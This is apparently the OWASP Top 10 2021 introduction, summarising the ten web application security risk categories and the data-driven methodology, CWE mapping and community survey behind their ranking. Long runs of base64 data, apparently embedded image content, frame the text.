pAFCSF9D8qbSTRQXMd2EwYThheAGsmC9jMuyjO+9re/G9BnjiN743wXeULXgITpW4Hczeri3q85AQmEvDLnu/9qIu48eQXyFNfH8MTQp1/LlpgFU42DUDRqIjic6M+atnGjnHShfstplhaDGkMGbbifpMWp4sCwoDdhPzDN8LrgFYcPoY1p9tf1hjQfcHChgXvGY/n5QsUAQT359Pf4eWBg0EDQQNBA0EDfyQGjhIGNQfssmhrJ+aBgAmOWawgJWEBgJeCPaD+EAJCUkK9XVv5RUqs5C40BrAP9r3MUG9ggQNBA0EDQQNBA0EDQQNBA38dDSQL0AV7+TSimuPpEK116curM3uD31doRqlxD90/UJ5he2h5OmDHn/cekle+7yPhv5Orpui1QtP95IENQsSNBA0EDQQNBA0EDQQNFDEGsjXxLeIywrZBQ0EDQQNBA0EDQQNBA0EDQQNBA0EDQQNBA3kqYGijYucZzHhRNBA0EDQQNBA0EDQQNBA0EDQQNBA0EDQQNBA/hoIADV//YSzQQNBA0EDQQNBA0EDQQNBA0EDQQNBA0EDP5AGAkD9gRQdigkaCBoIGggaCBoIGggaCBoIGggaCBoIGshfAwGg5q+fcDZoIGggaCBoIGggaCBoIGggaCBoIGggaOAH0kAAqD+QokMxQQNBA0EDQQNBA0ED/xsNsC/21q1bw37J/xv1h1KDBoIGggYKpYGwT0Ch1BUSBw0EDQQNBA0EDQQN/Jg0sHHjRrdixQo3ZswY17lzZ1e+fHlXqlSpXE2YPXu22759ux0rUaKEq1KliitbtmyuNAfyCwB67ty5bsKECe744493JUuWLHRx27Ztszxob82aNV3VqlULnUe4IGggaCBo4GDQQACoB0MvhDoEDQQNBA0EDQQNBA0cEA28+eabburUqe6bb76x10knneSOOOIIV7x48Zzy/vjHPxooLV26tEtPT3ekadOmTc75A/EBQDx06FB36KGHugoVKrjRo0e7Bx980PXs2bPQAHXLli3uueeec5MmTXLFihVzO3bscPfee69LS0s7EFUPeQYNBA0EDRxQDQQT3wOq3pB50EDQQNBA0EDQQNDA/1IDy5cvdx988IEbP368++STT9y6dev2MPV96aWXXEZGhmvZsqVr1qyZK1eunIORXL16tVu/fr1bvHixgT7aAfhbunSpvTzryvE1a9bYNbC1lLlr1y5jZWFGN2/eTJIc4dyiRYvcfffd54YPH27XcgxwuWnTJitvw4YNOen5AAjlGuoE4xqXKVOmuIceesjVrl3bWOIyZcpYGvJcsmRJTlLMnLke8Z/RB2koj887d+6087SN7+gBgZldsGCB6YPv5EOdvNBGn7c/Ft6DBoIGggb2RQOBQd0XrYVrggaCBoIGggaCBoIGfhQaSElJcfXr1zewmJmZmSc7CWvaoUMHaxPAbuzYse7xxx/PMQm+8MILzTT4rbfectOnTzcACpg97bTTXOXKld3TTz9tIA5QB1Dr2rWrmzFjhoE/AOPtt9/uKlasaPkDAp955hn37bffumeffdbS1alTx82fP9898MADZpJct25dd84557iGDRsaA/zee+9ZXtTt2GOPtfxhexHKA0A2b97c9enTx51xxhnukEMOseO/+c1vrCy+U97nn3/ubr75ZgPs1AEwDtNKWwDAPXr0MFaXtJhFU9aqVavchx9+aCAWcHz22WcbGw3ze+6555pOYXA5d/XVV1udwp+ggaCBoIF91UBgUPdVc+G6oIGggaCBoIGggaCBg14DsKJnnXWWAa9f/OIXrlatWgbeEiv+7rvvmpns66+/bkAN5vONN94wdhNzX4Bh//793aeffuqaNm3q6tWr595//303aNAgYxUHDBjgvvzySwfQhE3FXBewijkxZsak8wJTCvAEYAKe+YzAnsJsAqSHDRvmyJNj1GPy5MmuXbt2VvfXXnvN4TfrBWBKOffcc4+74447HIwqAisKOwwbCngEMAM0AcizZs1ytBWG+LDDDnP43mJyTBuQgQMHmtnxsmXL3FNPPWXp2rdvb++AatjURx55JIdFvfvuu3PYV8sg/AkaCBoIGthHDQSAuo+KC5cFDQQNBA0EDQQNBA0c/Bro1q2bO+6449xll13mTj31VGMKYRMTBcAFMwrww3QVEAnYvOaaa+w6fFYJYtSqVStjCa+77joHy8mxtWvXWna9evVyF198sbGqlHHJJZe4Sy+91JhNTIy9kNcJJ5zgKlWq5I455hgLjMQ5yrviiitc3759DbQCImE1YTIxK8bUGEA5cuTIXKa71apVc7fccos7+eSTDWBee+211hbvZ0tbEN79Z75nZWVZ+2CPjzrqKPtOeyZOnGjXt2jRwnRB3VeuXGkML4AZFhadLly40JhY/Gf5zAJAkKCBoIGggf3VQDDx3V8NhuuDBoIGggaCBoIGggYOag1gisorP8E0tm3bthY8CZNdBNNcmFIE0Io/JvkA/FJTUy3SL8fwS4VhrVGjhiPQEhGAMZ0FgCJEDva+nHZAf0iP8O4/Y2pLHqQlf8Agvp2wn0QWpmzYXECyZ10tE/0h2BJsLEDzzDPPdJgEX3DBBXaa65FEYE77AMUI5sfki7/uyy+/bGXCPnMtUYWJCkz5RELmBZt7+OGHu7ffftvS9O7d20ydLbPwJ2ggaCBoYD80EADqfigvXBo0EDQQNBA0EDQQNPDT0ABAzYM+H/zIA0daSBAlACTsImwifp8wnIA1wGgyiV+feN4zmTCkANxE8ecBuQBJyoeh5TM+oR78ct2oUaOMGQVgwor6QEcAYwQGlrZhouzztRMJfwC5mBVjFgyr2rhxY/Nt5RqAM6wvYJX2Y5583nnnudtuu81MmfHXDRI0EDQQNFAUGggAtSi0GPIIGggaCBoIGggaCBr4UWsgGXCLA0wYRAIG4XeJTyvnAIOY6AJc+e7T7y0vFAXQA1D+/e9/N19PTJE90+kVSX7saQq7SxCiq666ythbmM3LL788Z69WzH8BiLC8MK74pFJH9ns9/fTTHSa/+N4i8TryOV5XAGmm/F9hUflM2YDdU045xXxXMe3lmk6dOplpMKwpAZcQdBMkaCBoIGigKDRQTA+ayMakKHILeQQNBA0EDQQNBA0EDQQN/Mg0wPYzgC5YSoSpEdvF4I+K2S8BhBD8Pwk0hC8oxwCo+KHymai/ALrq1asbwzhnzhzbtoYowvhwYrLbqFEjy4c/gNGZM2daQCPY0AYNGrh58+ZZeZwjSBPMKgGZ8HGlXIAownYyMKIAYwRGk71e2S6GcqgT/qMI13GOegCyAbBEKyYvogZ7s2ZLrD/Um7IBqLCmCNvmUFd0Qlsxe6Z8QHbr1q1dly5d3KOPPmppw5+ggaCBoIH91UAAqPurwXB90EDQQNBA0EDQQNDAj1oDANI4k+gbk9dxWEXSx306E9PGv8c/+7z9ezyveDo+I/F6AVj57oMf+Tz8O6bJnIvXi3P5lRHP3+cTr4c/xjvlk7fPn2jBRA8m4q/foieePnwOGggaCBrYFw0EgLovWgvXBA0EDQQNBA0EDQQNBA38zDUA08r2Oeeff76ZE//M1RGaHzQQNFBEGggAtYgUGbIJGggaCBoIGggaCBoIGvg5aQBGFdYWs+IgQQNBA0EDRaWBAFCLSpMhn6CBoIGggaCBoIGggaCBoIGggaCBoIGggf3SwJ47Ve9XduHioIGggaCBoIGggaCBoIGggaCBoIGggaCBoIF900AAqPumt3BV0EDQQNBA0EDQQNBA0EDQQNBA0EDQQNBAEWsgANQiVmjILmggaCBoIGggaCBoIGggaCBoIGggaCBoYN808P+9llBBedPZtAAAAABJRU5ErkJggg==)
- **[A01:2021-Broken Access Control](A01_2021-Broken_Access_Control.md)** moves up from the fifth position to the category with the most serious web application security risk; the contributed data indicates that on average, 3.81% of applications tested had one or more Common Weakness Enumerations (CWEs) with more than 318k occurrences of CWEs in this risk category. The 34 CWEs mapped to Broken Access Control had more occurrences in applications than any other category.
- **[A02:2021-Cryptographic Failures](A02_2021-Cryptographic_Failures.md)** shifts up one position to #2, previously known as **A3:2017-Sensitive Data Exposure**, which was broad symptom rather than a root cause. The renewed name focuses on failures related to cryptography as it has been implicitly before. This category often leads to sensitive data exposure or system compromise.
- **[A03:2021-Injection](A03_2021-Injection.md)** slides down to the third position. 94% of the applications were tested for some form of injection with a max incidence rate of 19%, an average incidence rate of 3.37%, and the 33 CWEs mapped into this category have the second most occurrences in applications with 274k occurrences. Cross-site Scripting is now part of this category in this edition.
- **[A04:2021-Insecure Design](A04_2021-Insecure_Design.md)** is a new category for 2021, with a focus on risks related to design flaws. If we genuinely want to "move left" as an industry, we need more threat modeling, secure design patterns and principles, and reference architectures. An insecure design cannot be fixed by a perfect implementation as by definition, needed security controls were never created to defend against specific attacks.
- **[A05:2021-Security Misconfiguration](A05_2021-Security_Misconfiguration.md)** moves up from #6 in the previous edition; 90% of applications were tested for some form of misconfiguration, with an average incidence rate of 4.5%, and over 208k occurrences of CWEs mapped to this risk category. With more shifts into highly configurable software, it's not surprising to see this category move up. The former category for **A4:2017-XML External Entities (XXE)** is now part of this risk category.
- **[A06:2021-Vulnerable and Outdated Components](A06_2021-Vulnerable_and_Outdated_Components.md)** was previously titled Using Components with Known Vulnerabilities and is #2 in the Top 10 community survey, but also had enough data to make the Top 10 via data analysis. This category moves up from #9 in 2017 and is a known issue that we struggle to test and assess risk. It is the only category not to have any Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploit and impact weights of 5.0 are factored into their scores.
- **[A07:2021-Identification and Authentication Failures](A07_2021-Identification_and_Authentication_Failures.md)** was previously Broken Authentication and is sliding down from the second position, and now includes CWEs that are more related to identification failures. This category is still an integral part of the Top 10, but the increased availability of standardized frameworks seems to be helping.
- **[A08:2021-Software and Data Integrity Failures](A08_2021-Software_and_Data_Integrity_Failures.md)** is a new category for 2021, focusing on making assumptions related to software updates, critical data, and CI/CD pipelines without verifying integrity. One of the highest weighted impacts from Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS) data mapped to the 10 CWEs in this category. **A8:2017-Insecure Deserialization** is now a part of this larger category.
- **[A09:2021-Security Logging and Monitoring Failures](A09_2021-Security_Logging_and_Monitoring_Failures.md)** was previously **A10:2017-Insufficient Logging & Monitoring** and is added from the Top 10 community survey (#3), moving up from #10 previously. This category is expanded to include more types of failures, is challenging to test for, and isn't well represented in the CVE/CVSS data. However, failures in this category can directly impact visibility, incident alerting, and forensics.
- **[A10:2021-Server-Side Request Forgery](A10_2021-Server-Side_Request_Forgery_(SSRF).md)** is added from the Top 10 community survey (#1). The data shows a relatively low incidence rate with above average testing coverage, along with above-average ratings for Exploit and Impact potential. This category represents the scenario where the security community members are telling us this is important, even though it's not illustrated in the data at this time.
## Methodology
This installment of the Top 10 is more data-driven than ever but not blindly data-driven. We selected eight of the ten categories from contributed data and two categories from the Top 10 community survey at a high level. We do this for a fundamental reason, looking at the contributed data is looking into the past. AppSec researchers take time to find new vulnerabilities and new ways to test for them. It takes time to integrate these tests into tools and processes. By the time we can reliably test a weakness at scale, years have likely passed. To balance that view, we use a community survey to ask application security and development experts on the front lines what they see as essential weaknesses that the data may not show yet.
There are a few critical changes that we adopted to continue to mature the Top 10.
## How the categories are structured
A few categories have changed from the previous installment of the OWASP Top Ten. Here is a high-level summary of the category changes.
Previous data collection efforts were focused on a prescribed subset of approximately 30 CWEs with a field asking for additional findings. We learned that organizations would primarily focus on just those 30 CWEs and rarely add additional CWEs that they saw. In this iteration, we opened it up and just asked for data, with no restriction on CWEs. We asked for the number of applications tested for a given year (starting in 2017), and the number of applications with at least one instance of a CWE found in testing. This format allows us to track how prevalent each CWE is within the population of applications. We ignore frequency for our purposes; while it may be necessary for other situations, it only hides the actual prevalence in the application population. Whether an application has four instances of a CWE or 4,000 instances is not part of the calculation for the Top 10. We went from approximately 30 CWEs to almost 400 CWEs to analyze in the dataset. We plan to do additional data analysis as a supplement in the future. This significant increase in the number of CWEs necessitates changes to how the categories are structured.
We spent several months grouping and categorizing CWEs and could have continued for additional months. We had to stop at some point. There are both *root cause* and *symptom* types of CWEs, where *root cause* types are like "Cryptographic Failure" and "Misconfiguration" contrasted to *symptom* types like "Sensitive Data Exposure" and "Denial of Service." We decided to focus on the *root cause* whenever possible as it's more logical for providing identification and remediation guidance. Focusing on the *root cause* over the *symptom* isn't a new concept; the Top Ten has been a mix of *symptom* and *root cause*. CWEs are also a mix of *symptom* and *root cause*; we are simply being more deliberate about it and calling it out. There is an average of 19.6 CWEs per category in this installment, with the lower bounds at 1 CWE for **A10:2021-Server-Side Request Forgery (SSRF)** to 40 CWEs in **A04:2021-Insecure Design**. This updated category structure offers additional training benefits as companies can focus on CWEs that make sense for a language/framework.
## How the data is used for selecting categories
In 2017, we selected categories by incidence rate to determine likelihood, then ranked them by team discussion based on decades of experience for *Exploitability*, *Detectability* (also *likelihood*), and *Technical Impact*. For 2021, we want to use data for *Exploitability* and *(Technical) Impact* if possible.
We downloaded OWASP Dependency Check and extracted the CVSS Exploit, and Impact scores grouped by related CWEs. It took a fair bit of research and effort as all the CVEs have CVSSv2 scores, but there are flaws in CVSSv2 that CVSSv3 should address. After a certain point in time, all CVEs are assigned a CVSSv3 score as well. Additionally, the scoring ranges and formulas were updated between CVSSv2 and CVSSv3.
In CVSSv2, both *Exploit* and *(Technical) Impact* could be up to 10.0, but the formula would knock them down to 60% for *Exploit* and 40% for *Impact*. In CVSSv3, the theoretical max was limited to 6.0 for *Exploit* and 4.0 for *Impact*. With the weighting considered, the Impact scoring shifted higher, almost a point and a half on average in CVSSv3, and exploitability moved nearly half a point lower on average.
There are 125k records of a CVE mapped to a CWE in the National Vulnerability Database (NVD) data extracted from OWASP Dependency Check, and there are 241 unique CWEs mapped to a CVE. 62k CWE maps have a CVSSv3 score, which is approximately half of the population in the data set.
For the Top Ten 2021, we calculated average *exploit* and *impact* scores in the following manner. We grouped all the CVEs with CVSS scores by CWE and weighted both *exploit* and *impact* scored by the percentage of the population that had CVSSv3 + the remaining population of CVSSv2 scores to get an overall average. We mapped these averages to the CWEs in the dataset to use as *Exploit* and *(Technical) Impact* scoring for the other half of the risk equation.
## Why not just pure statistical data?
The results in the data are primarily limited to what we can test for in an automated fashion. Talk to a seasoned AppSec professional, and they will tell you about stuff they find and trends they see that aren't yet in the data. It takes time for people to develop testing methodologies for certain vulnerability types and then more time for those tests to be automated and run against a large population of applications. Everything we find is looking back in the past and might be missing trends from the last year, which are not present in the data.
Therefore, we only pick eight of ten categories from the data because it's incomplete. The other two categories are from the Top 10 community survey. It allows the practitioners on the front lines to vote for what they see as the highest risks that might not be in the data (and may never be expressed in data).
## Why incidence rate instead of frequency?
There are three primary sources of data. We identify them as Human-assisted Tooling (HaT), Tool-assisted Human (TaH), and raw Tooling.
Tooling and HaT are high-frequency finding generators. Tools will look for specific vulnerabilities and tirelessly attempt to find every instance of that vulnerability and will generate high finding counts for some vulnerability types. Look at Cross-Site Scripting, which is typically one of two flavors: it's either a more minor, isolated mistake or a systemic issue. When it's a systemic issue, the finding counts can be in the thousands for a single application. This high frequency drowns out most other vulnerabilities found in reports or data.
TaH, on the other hand, will find a broader range of vulnerability types but at a much lower frequency due to time constraints. When humans test an application and see something like Cross-Site Scripting, they will typically find three or four instances and stop. They can determine a systemic finding and write it up with a recommendation to fix on an application-wide scale. There is no need (or time) to find every instance.
Suppose we take these two distinct data sets and try to merge them on frequency. In that case, the Tooling and HaT data will drown the more accurate (but broad) TaH data and is a good part of why something like Cross-Site Scripting has been so highly ranked in many lists when the impact is generally low to moderate. It's because of the sheer volume of findings. (Cross-Site Scripting is also reasonably easy to test for, so there are many more tests for it as well).
In 2017, we introduced using incidence rate instead to take a fresh look at the data and cleanly merge Tooling and HaT data with TaH data. The incidence rate asks what percentage of the application population had at least one instance of a vulnerability type. We don't care if it was one-off or systemic. That's irrelevant for our purposes; we just need to know how many applications had at least one instance, which helps provide a clearer view of the testing is findings across multiple testing types without drowning the data in high-frequency results. This corresponds to a risk related view as an attacker needs only one instance to attack an application successfully via the category.
## What is your data collection and analysis process?
We formalized the OWASP Top 10 data collection process at the Open Security Summit in 2017. OWASP Top 10 leaders and the community spent two days working out formalizing a transparent data collection process. The 2021 edition is the second time we have used this methodology.
We publish a call for data through social media channels available to us, both project and OWASP. On the OWASP Project page, we list the data elements and structure we are looking for and how to submit them. In the GitHub project, we have example files that serve as templates. We work with organizations as needed to help figure out the structure and mapping to CWEs.
We get data from organizations that are testing vendors by trade, bug bounty vendors, and organizations that contribute internal testing data. Once we have the data, we load it together and run a fundamental analysis of what CWEs map to risk categories. There is overlap between some CWEs, and others are very closely related (ex. Cryptographic vulnerabilities). Any decisions related to the raw data submitted are documented and published to be open and transparent with how we normalized the data.
We look at the eight categories with the highest incidence rates for inclusion in the Top 10. We also look at the Top 10 community survey results to see which ones may already be present in the data. The top two votes that aren't already present in the data will be selected for the other two places in the Top 10. Once all ten were selected, we applied generalized factors for exploitability and impact; to help rank the Top 10 2021 in a risk based order.
## Data Factors
There are data factors that are listed for each of the Top 10 Categories, here is what they mean:
- CWEs Mapped: The number of CWEs mapped to a category by the Top 10 team.
- Incidence Rate: Incidence rate is the percentage of applications vulnerable to that CWE from the population tested by that org for that year.
- (Testing) Coverage: The percentage of applications tested by all organizations for a given CWE.
- Weighted Exploit: The Exploit sub-score from CVSSv2 and CVSSv3 scores assigned to CVEs mapped to CWEs, normalized, and placed on a 10pt scale.
- Weighted Impact: The Impact sub-score from CVSSv2 and CVSSv3 scores assigned to CVEs mapped to CWEs, normalized, and placed on a 10pt scale.
- Total Occurrences: Total number of applications found to have the CWEs mapped to a category.
- Total CVEs: Total number of CVEs in the NVD DB that were mapped to the CWEs mapped to a category.
## Thank you to our data contributors
The following organizations (along with some anonymous donors) kindly donated data for over 500,000 applications to make this the largest and most comprehensive application security data set. Without you, this would not be possible.
- AppSec Labs
- Cobalt.io
- Contrast Security
- GitLab
- HackerOne
- HCL Technologies
- Micro Focus
- PenTest-Tools
- Probely
- Sqreen
- Veracode
- WhiteHat (NTT)
## Thank you to our sponsors
The OWASP Top 10 2021 team gratefully acknowledge the financial support of Secure Code Warrior and Just Eat.
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